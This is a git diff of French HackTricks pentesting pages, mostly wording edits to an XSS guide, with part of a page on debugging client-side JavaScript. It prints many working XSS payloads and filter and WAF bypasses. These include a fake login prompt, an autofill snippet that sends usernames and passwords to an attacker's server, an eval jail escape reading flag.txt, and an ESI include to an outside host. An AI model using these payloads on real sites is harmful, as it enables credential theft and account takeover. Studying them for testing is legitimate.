Mais, si un système de liste noire/blanche pour les balises/attributs est utilisé, vous devrez **forcer brutalement quelles balises** vous pouvez créer.\
|
||||
Une fois que vous avez **localisé quelles balises sont autorisées**, vous devrez **forcer brutalement les attributs/événements** à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
|
||||
|
||||
### Forçage des balises/événements
|
||||
### Forçage brutal des balises/événements
|
||||
|
||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les balises dans le presse-papier**_. Ensuite, envoyez-les toutes en utilisant l'intrus de Burp et vérifiez si des balises n'ont pas été détectées comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez **forcer la découverte de tous les événements** en utilisant les balises valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papier**_ et suivez la même procédure que précédemment).
|
||||
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les balises dans le presse-papiers**_. Ensuite, envoyez-les toutes en utilisant l'intrus de Burp et vérifiez si des balises n'ont pas été détectées comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez **forcer brutalement tous les événements** en utilisant les balises valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure que précédemment).
|
||||
|
||||
### Balises personnalisées
|
||||
|
||||
Si vous n'avez trouvé aucune balise HTML valide, vous pourriez essayer de **créer une balise personnalisée** et exécuter du code JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL par `#` pour que la page **se concentre sur cet objet** et **exécute** le code :
|
||||
Si vous n'avez trouvé aucune balise HTML valide, vous pourriez essayer de **créer une balise personnalisée** et exécuter du code JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL avec `#` pour que la page **se concentre sur cet objet** et **exécute** le code :
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Contournements de liste noire
|
||||
### Contournement de liste noire
|
||||
|
||||
Si une sorte de liste noire est utilisée, vous pourriez essayer de la contourner avec quelques astuces simples :
|
||||
```javascript
|
||||
|
@ -224,7 +224,7 @@ onerror=alert`1`
|
|||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Contournement de longueur (petits XSS)
|
||||
### Contournement de la longueur (petits XSS)
|
||||
|
||||
{% hint style="info" %}
|
||||
**Plus de petits XSS pour différents environnements** le payload [**peut être trouvé ici**](https://github.com/terjanq/Tiny-XSS-Payloads) et [**ici**](https://tinyxss.terjanq.me).
|
||||
|
@ -235,8 +235,8 @@ onerror=alert`1`
|
|||
<script src=//aa.es>
|
||||
<script src=//℡㏛.pw>
|
||||
```
|
||||
Le dernier utilise 2 caractères unicode qui se développent en 5 : telsr\
|
||||
Vous pouvez trouver plus de ces caractères [ici](https://www.unicode.org/charts/normalization/).\
|
||||
Le dernier utilise 2 caractères unicode qui se transforment en 5 : telsr\
|
||||
Plus de ces caractères sont disponibles [ici](https://www.unicode.org/charts/normalization/).\
|
||||
Pour vérifier en quels caractères ils sont décomposés, consultez [ici](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
@ -274,7 +274,7 @@ Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utilise
|
|||
|
||||
**Contournement à l'intérieur de l'événement en utilisant le codage HTML/l'encodage d'URL**
|
||||
|
||||
Les **caractères codés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Ainsi, quelque chose comme ce qui suit sera valide (le payload est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Retour </a>`
|
||||
Les **caractères codés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Ainsi, quelque chose comme ce qui suit sera valide (le payload est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
Notez que **tout type de codage HTML est valide** :
|
||||
```javascript
|
||||
|
@ -305,7 +305,7 @@ Notez que **tout type de codage HTML est valide** :
|
|||
```
|
||||
### Protocoles spéciaux à l'intérieur de l'attribut
|
||||
|
||||
Vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** dans certains endroits pour **exécuter du code JS arbitraire**. Certains nécessiteront une interaction de l'utilisateur et d'autres non.
|
||||
Vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** dans certains endroits pour **exécuter du code JS arbitraire**. Certains nécessiteront une interaction de l'utilisateur, d'autres non.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
@ -353,13 +353,13 @@ _**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section pr
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
En outre, il existe une autre **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant son exécution.** Donc, si vous devez **vous échapper** de la **chaîne de caractères** en utilisant une **apostrophe** et que vous voyez qu'**elle est encodée en URL**, souvenez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme une **apostrophe** lors du **temps d'exécution**.
|
||||
En outre, il existe une autre **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne de caractères** en utilisant une **apostrophe** et que vous voyez qu'**elle est encodée en URL**, souvenez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme une **apostrophe** lors du **temps d'exécution**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Notez que si vous essayez **d'utiliser à la fois** `URLencode + HTMLencode` dans n'importe quel ordre pour encoder le **payload**, cela **ne fonctionnera pas**, mais vous pouvez **les mélanger à l'intérieur du payload**.
|
||||
Notez que si vous essayez **d'utiliser à la fois** `URLencode + HTMLencode` dans n'importe quel ordre pour encoder le **payload**, cela **ne** **fonctionnera** **pas**, mais vous pouvez **les mélanger à l'intérieur du payload**.
|
||||
|
||||
**Utilisation de l'encodage Hex et Octal avec `javascript:`**
|
||||
|
||||
|
@ -379,7 +379,7 @@ Vous pouvez utiliser l'**encodage Hex** et **Octal** à l'intérieur de l'attrib
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Si vous pouvez injecter une URL quelconque dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank" et rel="opener"`**, consultez **la page suivante pour exploiter ce comportement** :
|
||||
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank" et rel="opener"`**, consultez **la page suivante pour exploiter ce comportement** :
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -418,7 +418,7 @@ Et dans les **balises meta** :
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
À partir de [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter un **XSS payload à l'intérieur d'un attribut caché**, à condition de pouvoir **convaincre** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
|
||||
À partir de [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter un **payload XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **convaincre** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -442,13 +442,13 @@ Lisez les [Contournements de liste noire de la section précédente](./#blacklis
|
|||
|
||||
Lisez la [liste noire de contournement JavaScript de la section suivante](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### Gadgets CSS
|
||||
### CSS-Gadgets
|
||||
|
||||
Si vous trouvez un **XSS dans une très petite partie** du web qui nécessite une sorte d'interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de **modifier l'espace occupé par cet élément** pour maximiser les probabilités de déclenchement du lien.
|
||||
|
||||
Par exemple, vous pourriez ajouter du style à l'élément comme : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Mais, si le WAF filtre l'attribut style, vous pouvez utiliser des Gadgets de Style CSS, donc si vous trouvez, par exemple
|
||||
Mais, si le WAF filtre l'attribut style, vous pouvez utiliser des CSS Styling Gadgets, donc si vous trouvez, par exemple
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
@ -484,7 +484,7 @@ Si les caractères `<>` sont assainis, vous pouvez toujours **échapper à la ch
|
|||
```
|
||||
### Littéraux de gabarit \`\`
|
||||
|
||||
Pour construire des **chaînes de caractères**, en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de littéraux de gabarit car ils permettent d'**inclure des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Pour construire des **chaînes de caractères** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de littéraux de gabarit car ils permettent d'**inclure des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Par conséquent, si vous constatez que votre entrée est **reflétée** à l'intérieur d'une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||
|
||||
Cela peut être **abusé** en utilisant :
|
||||
|
@ -557,7 +557,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Sauts de ligne JavaScript (depuis** [**Saut de ligne JavaScript**](./#javascript-new-lines) **astuce)**
|
||||
**Sauts de ligne JavaScript (depuis** [**l'astuce des sauts de ligne JavaScript**](./#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -664,7 +664,12 @@ try{throw onerror=alert}catch{throw 1}
|
|||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
````
|
||||
```markdown
|
||||
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**Appel de fonction arbitraire (alert)**
|
||||
```
|
||||
````javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
|
@ -727,7 +732,7 @@ top[8680439..toString(30)](1)
|
|||
## **Vulnérabilités DOM**
|
||||
|
||||
Il existe du **code JS** qui utilise de manière **non sécurisée des données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait exploiter cela pour exécuter du code JS arbitraire.\
|
||||
**En raison de l'étendue de l'explication des** [**vulnérabilités DOM, elle a été déplacée sur cette page**](dom-xss.md)**:**
|
||||
**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée sur cette page**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -753,7 +758,7 @@ Par exemple, si vous envoyez le payload (d'après [ce rapport](https://hackerone
|
|||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
La paire "Key", "Value" sera renvoyée comme ceci :
|
||||
La paire "Clé", "Valeur" sera renvoyée ainsi :
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
|
@ -795,7 +800,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS avec injection d'en-tête dans une réponse 302
|
||||
|
||||
Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pourriez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Ce n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut de la réponse HTTP est 302, donc juste un payload de cross-site scripting est inutile.
|
||||
Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pourriez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Cela n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut de la réponse HTTP est un 302, donc juste un payload de cross-site scripting est inutile.
|
||||
|
||||
Dans [**ce rapport**](https://www.gremwell.com/firefox-xss-302) et [**celui-ci**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) vous pouvez lire comment vous pouvez tester plusieurs protocoles à l'intérieur de l'en-tête Location et voir si l'un d'eux permet au navigateur d'inspecter et d'exécuter le payload XSS à l'intérieur du corps.\
|
||||
Protocoles connus dans le passé : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en-tête Location vide_, `resource://`.
|
||||
|
@ -888,7 +893,7 @@ Ce comportement a été utilisé dans [**ce compte-rendu**](https://github.com/z
|
|||
```
|
||||
### Types de contenu Web pour XSS
|
||||
|
||||
(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
|
||||
(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter du XSS dans tous les navigateurs :
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
|
@ -899,7 +904,7 @@ Ce comportement a été utilisé dans [**ce compte-rendu**](https://github.com/z
|
|||
* application/rss+xml (désactivé)
|
||||
* application/atom+xml (désactivé)
|
||||
|
||||
Dans d'autres navigateurs, d'autres **`Content-Types`** peuvent être utilisés pour exécuter du JS arbitraire, voir : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
Dans d'autres navigateurs, d'autres **`Content-Types`** peuvent être utilisés pour exécuter du JS arbitraire, vérifiez : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Type de contenu xml
|
||||
|
||||
|
@ -923,9 +928,9 @@ Par exemple dans [**ce compte-rendu**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-
|
|||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Évasion des prisons XS
|
||||
### Évasion de XS Jails
|
||||
|
||||
Si vous n'avez qu'un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes de XSJail :
|
||||
Si vous avez seulement un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes de XSJail :
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
|
@ -1018,7 +1023,7 @@ trigger()
|
|||
```
|
||||
### Obfuscation & Techniques Avancées de Contournement
|
||||
|
||||
* **Différentes obfuscations sur une même page :** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* **Différentes obfuscations sur une seule page :** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
|
@ -1165,13 +1170,13 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
```
|
||||
_Temps courts indiquent un port qui répond_ _Des temps plus longs indiquent une absence de réponse._
|
||||
|
||||
Consultez la liste des ports bannis dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Consultez la liste des ports bannis dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Boîte de dialogue pour demander des identifiants
|
||||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Capture de mots de passe en auto-remplissage
|
||||
### Capture des mots de passe en auto-remplissage
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
|
@ -1182,11 +1187,11 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Lorsque des données sont introduites dans le champ du mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et ne tape rien, les identifiants seront exfiltrés.
|
||||
Lorsque des données sont saisies dans le champ du mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et ne tape rien, les identifiants seront exfiltrés.
|
||||
|
||||
### Keylogger
|
||||
|
||||
En cherchant simplement sur GitHub, j'ai trouvé quelques-uns différents :
|
||||
En cherchant sur GitHub, j'ai trouvé plusieurs versions différentes :
|
||||
|
||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
|
@ -1232,7 +1237,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Payloads XSS aveugles
|
||||
### Charges utiles de XSS aveugle
|
||||
|
||||
Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
@ -1276,7 +1281,7 @@ Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com
|
|||
```
|
||||
### Regex - Accéder au contenu caché
|
||||
|
||||
D'après [**ce compte-rendu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les retrouver dans les attributs JS de différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
|
||||
D'après [**ce compte-rendu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1307,7 +1312,7 @@ Peut-on injecter du code Markdown qui sera rendu ? Peut-être pouvez-vous obteni
|
|||
|
||||
### XSS vers SSRF
|
||||
|
||||
Vous avez un XSS sur un **site qui utilise la mise en cache** ? Essayez **d'élever cela à SSRF** grâce à l'injection Edge Side Include avec ce payload :
|
||||
Vous avez un XSS sur un **site qui utilise la mise en cache** ? Essayez **d'élever cela à SSRF** en utilisant l'injection Edge Side Include avec ce payload :
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1316,7 +1321,7 @@ Plus d'informations sur cette technique ici : [**XSLT**](../xslt-server-side-inj
|
|||
|
||||
### XSS dans les PDF créés dynamiquement
|
||||
|
||||
Si une page web crée un PDF en utilisant une entrée contrôlée par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.
|
||||
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.
|
||||
Ainsi, si le **bot créateur de PDF trouve** des **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**.
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -1395,7 +1400,7 @@ id="foo"/>
|
|||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Trouvez **plus de charges utiles SVG sur** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Trouvez **plus de charges utiles SVG dans** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Astuces JS Diverses & Infos Pertinentes
|
||||
|
||||
|
@ -1422,12 +1427,14 @@ Trouvez des [**outils pour XSS ici**](xss-tools.md)**.**
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,34 +4,36 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Le débogage du JS côté client peut être fastidieux car chaque fois que vous modifiez l'URL (y compris une modification des paramètres utilisés ou des valeurs de paramètres), vous devez **réinitialiser le point d'arrêt et recharger la page**.
|
||||
Le débogage du JS côté client peut être difficile car chaque fois que vous changez l'URL (y compris un changement dans les paramètres utilisés ou les valeurs des paramètres), vous devez **réinitialiser le point d'arrêt et recharger la page**.
|
||||
|
||||
### `debugger;`
|
||||
|
||||
Si vous placez la ligne `debugger;` dans un fichier JS, lorsque le **navigateur** exécute le JS, il **arrêtera** le **débogueur** à cet endroit. Par conséquent, une façon de définir des points d'arrêt constants serait de **télécharger tous les fichiers localement et de définir des points d'arrêt dans le code JS**.
|
||||
|
||||
### Substitutions
|
||||
### Overrides
|
||||
|
||||
Les substitutions de navigateur permettent d'avoir une copie locale du code qui va être exécuté et d'exécuter celui-ci au lieu de celui du serveur distant.\
|
||||
Vous pouvez **accéder aux substitutions** dans "Outils de développement" --> "Sources" --> "Substitutions".
|
||||
Les overrides du navigateur permettent d'avoir une copie locale du code qui va être exécuté et d'exécuter celle-ci au lieu de celle du serveur distant.\
|
||||
Vous pouvez **accéder aux overrides** dans "Dev Tools" --> "Sources" --> "Overrides".
|
||||
|
||||
Vous devez **créer un dossier local vide à utiliser pour stocker les substitutions**, donc créez simplement un nouveau dossier local et définissez-le comme substitution dans cette page.
|
||||
Vous devez **créer un dossier local vide pour stocker les overrides**, créez donc un nouveau dossier local et définissez-le comme override sur cette page.
|
||||
|
||||
